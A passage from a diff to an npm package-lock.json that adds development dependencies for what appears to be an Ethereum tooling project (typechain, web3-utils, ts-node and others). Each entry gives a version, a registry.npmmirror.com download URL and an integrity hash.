"sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ts-command-line-args/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/ts-command-line-args/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/ts-command-line-args/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "peer": true + }, + "node_modules/ts-command-line-args/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ts-command-line-args/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ts-essentials": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/ts-essentials/-/ts-essentials-7.0.3.tgz", + "integrity": "sha512-8+gr5+lqO3G84KdiTSMRLtuyJ+nTBVRKuCrK4lidMPdVeEp0uqC875uE5NMcaA7YYMN7XsNiFQuMvasF8HT/xQ==", + "dev": true, + "peer": true, + "peerDependencies": { + "typescript": ">=3.7.0" + } + }, + "node_modules/ts-node": { + "version": "10.9.1", + "resolved": "https://registry.npmmirror.com/ts-node/-/ts-node-10.9.1.tgz", + "integrity": "sha512-NtVysVPkxxrwFGUUxGYhfux8k78pQB3JqYBXlLRZgdGUqTO5wU/UyHop5p70iEbGhB7q5KmiZiU0Y3KlJrScEw==", + "dev": true, + "peer": true, + "dependencies": { + "@cspotcode/source-map-support": "^0.8.0", + "@tsconfig/node10": "^1.0.7", + "@tsconfig/node12": "^1.0.7", + "@tsconfig/node14": "^1.0.0", + "@tsconfig/node16": "^1.0.2", + "acorn": "^8.4.1", + "acorn-walk": "^8.1.1", + "arg": "^4.1.0", + "create-require": "^1.1.0", + "diff": "^4.0.1", + "make-error": "^1.1.1", + "v8-compile-cache-lib": "^3.0.1", + "yn": "3.1.1" + }, + "bin": { + "ts-node": "dist/bin.js", + "ts-node-cwd": "dist/bin-cwd.js", + "ts-node-esm": "dist/bin-esm.js", + "ts-node-script": "dist/bin-script.js", + "ts-node-transpile-only": "dist/bin-transpile.js", + "ts-script": "dist/bin-script-deprecated.js" + }, + "peerDependencies": { + "@swc/core": ">=1.2.50", + "@swc/wasm": ">=1.2.50", + "@types/node": "*", + "typescript": ">=2.7" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "@swc/wasm": { + "optional": true + } + } + }, + "node_modules/ts-node/node_modules/diff": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "node_modules/tsort": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/tsort/-/tsort-0.0.1.tgz", + "integrity": "sha512-Tyrf5mxF8Ofs1tNoxA13lFeZ2Zrbd6cKbuH3V+MQ5sb6DtBj5FjrXVsRWT8YvNAQTqNoz66dz1WsbigI22aEnw==", + "dev": true + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dev": true, + "peer": true, + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/tweetnacl": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/tweetnacl/-/tweetnacl-1.0.3.tgz", + "integrity": "sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw==", + "dev": true + }, + "node_modules/tweetnacl-util": { + "version": "0.15.1", + "resolved": "https://registry.npmmirror.com/tweetnacl-util/-/tweetnacl-util-0.15.1.tgz", + "integrity": "sha512-RKJBIj8lySrShN4w6i/BonWp2Z/uxwC3h4y7xsRrpP59ZboCd0GpEVsOnMDYLMmKBpYhb5TgHzZXy7wTfYFBRw==", + "dev": true + }, + "node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmmirror.com/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", + "dev": true, + "peer": true, + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/typechain": { + "version": "8.1.0", + "resolved": "https://registry.npmmirror.com/typechain/-/typechain-8.1.0.tgz", + "integrity": "sha512-5jToLgKTjHdI1VKqs/K8BLYy42Sr3o8bV5ojh4MnR9ExHO83cyyUdw+7+vMJCpKXUiVUvARM4qmHTFuyaCMAZQ==", + "dev": true, + "peer": true, + "dependencies": { + "@types/prettier": "^2.1.1", + "debug": "^4.3.1", + "fs-extra": "^7.0.0", + "glob": "7.1.7", + "js-sha3": "^0.8.0", + "lodash": "^4.17.15", + "mkdirp": "^1.0.4", + "prettier": "^2.3.1", + "ts-command-line-args": "^2.2.0", + "ts-essentials": "^7.0.1" + }, + "bin": { + "typechain": "dist/cli/cli.js" + }, + "peerDependencies": { + "typescript": ">=4.3.0" + } + }, + "node_modules/typechain/node_modules/glob": { + "version": "7.1.7", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.1.7.tgz", + "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", + "dev": true, + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/typechain/node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true, + "peer": true, + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npmmirror.com/typedarray/-/typedarray-0.0.6.tgz", + "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==", + "dev": true, + "peer": true + }, + "node_modules/typescript": { + "version": "4.8.4", + "resolved": "https://registry.npmmirror.com/typescript/-/typescript-4.8.4.tgz", + "integrity": "sha512-QCh+85mCy+h0IGff8r5XWzOVSbBO+KfeYrMQh7NJ58QujwcE22u+NUSmUxqF+un70P9GXKxa2HCNiTTMJknyjQ==", + "dev": true, + "peer": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/typical": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/typical/-/typical-4.0.0.tgz", + "integrity": "sha512-VAH4IvQ7BDFYglMd7BPRDfLgxZZX4O4TFcRDA6EN5X7erNJJq+McIEp8np9aVtxrCJ6qx4GTYVfOWNjcqwZgRw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/uglify-js": { + "version": "3.17.2", + "resolved": "https://registry.npmmirror.com/uglify-js/-/uglify-js-3.17.2.tgz", + "integrity": "sha512-bbxglRjsGQMchfvXZNusUcYgiB9Hx2K4AHYXQy2DITZ9Rd+JzhX7+hoocE5Winr7z2oHvPsekkBwXtigvxevXg==", + "dev": true, + "optional": true, + "peer": true, + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + } + }, + "node_modules/undici": { + "version": "5.10.0", + "resolved": "https://registry.npmmirror.com/undici/-/undici-5.10.0.tgz", + "integrity": "sha512-c8HsD3IbwmjjbLvoZuRI26TZic+TSEe8FPMLLOkN1AfYRhdjnKBU6yL+IwcSCbdZiX4e5t0lfMDLDCqj4Sq70g==", + "dev": true, + "engines": { + "node": ">=12.18" + } + }, + "node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "peer": true, + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/utf8": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/utf8/-/utf8-3.0.0.tgz", + "integrity": "sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==", + "dev": true, + "peer": true + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-compile-cache-lib": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", + "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==", + "dev": true, + "peer": true + }, + "node_modules/verror": { + "version": "1.10.0", + "resolved": "https://registry.npmmirror.com/verror/-/verror-1.10.0.tgz", + "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "peer": true, + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/web3-utils": { + "version": "1.8.0", + "resolved": "https://registry.npmmirror.com/web3-utils/-/web3-utils-1.8.0.tgz", + "integrity": "sha512-7nUIl7UWpLVka2f09CMbKOSEvorvHnaugIabU4mj7zfMvm0tSByLcEu3eyV9qgS11qxxLuOkzBIwCstTflhmpQ==", + "dev": true, + "peer": true, + "dependencies": { + "bn.js": "^5.2.1", + "ethereum-bloom-filters": "^1.0.6", + "ethereumjs-util": "^7.1.0", + "ethjs-unit": "0.1.6", + "number-to-bn": "1.7.0", + "randombytes": "^2.1.0", + "utf8": "3.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/web3-utils/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "peer": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/web3-utils/node_modules/ethereumjs-util": { + "version": "7.1.5", + "resolved": "https://registry.npmmirror.com/ethereumjs-util/-/ethereumjs-util-7.1.5.tgz", + "integrity": "sha512-SDl5kKrQAudFBUe5OJM9Ac6WmMyYmXX/6sTmLZ3ffG2eY6ZIGBes3pEDxNN6V72WyOw4CPD5RomKdsa8DAAwLg==", + "dev": true, + "peer": true, + "dependencies": { + "@types/bn.js": "^5.1.0", + "bn.js": "^5.1.2", + "create-hash": "^1.1.2", + "ethereum-cryptography": "^0.1.3", + "rlp": "^2.2.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "peer": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "peer": true, + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + } + }, + "node_modules/which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==", + "dev": true, + "peer": true + }, + "node_modules/wide-align": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/wide-align/-/wide-align-1.1.3.tgz", + "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", + "dev": true, + "peer": true, + "dependencies": { + "string-width": "^1.0.2 || 2" + } + }, + "node_modules/wide-align/node_modules/ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/wide-align/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/wide-align/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "peer": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/wide-align/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/word-wrap": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/word-wrap/-/word-wrap-1.2.3.tgz", + "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wordwrap": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/wordwrap/-/wordwrap-1.0.0.tgz", + "integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==", + "dev": true, + "peer": true + }, + "node_modules/wordwrapjs": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/wordwrapjs/-/wordwrapjs-4.0.1.tgz", + "integrity": "sha512-kKlNACbvHrkpIw6oPeYDSmdCTu2hdMHoyXLTcUKala++lx5Y+wjJ/e474Jqv5abnVmwxw08DiTuHmw69lJGksA==", + "dev": true, + "peer": true, + "dependencies": { + "reduce-flatten": "^2.0.0", + "typical": "^5.2.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/wordwrapjs/node_modules/typical": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/typical/-/typical-5.2.0.tgz", + "integrity": "sha512-dvdQgNDNJo+8B2uBQoqdb11eUCE1JQXhvjC/CZtgvZseVd5TYMXnq0+vuUemXbd/Se29cTaUuPX3YIc2xgbvIg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/workerpool": { + "version": "6.2.1", + "resolved": "https://registry.npmmirror.com/workerpool/-/workerpool-6.2.1.tgz", + "integrity": "sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw==", + "dev": true + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmmirror.com/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "dev": true, + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xmlhttprequest": { + "version": "1.8.0", + "resolved": "https://registry.npmmirror.com/xmlhttprequest/-/xmlhttprequest-1.8.0.tgz", + "integrity": "sha512-58Im/U0mlVBLM38NdZjHyhuMtCqa61469k2YP/AaPbvCoV9aQGUpbJBj1QRm2ytRiVQBD/fsw7L2bJGDVQswBA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.4", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-20.2.4.tgz", + "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-unparser": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/yargs-unparser/-/yargs-unparser-2.0.0.tgz", + "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", + "dev": true, + "dependencies": { + "camelcase": "^6.0.0", + "decamelize": "^4.0.0", + "flat": "^5.0.2", + "is-plain-obj": "^2.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yn": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/yn/-/yn-3.1.1.tgz", + "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + } + } + }, + "dependencies": { + "@cspotcode/source-map-support": { + "version": "0.8.1", + "resolved": "https://registry.npmmirror.com/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", + "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==", + "dev": true, + "peer": true, + "requires": { + "@jridgewell/trace-mapping": "0.3.9" + } + }, + "@ethersproject/abi": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/abi/-/abi-5.7.0.tgz", + "integrity": 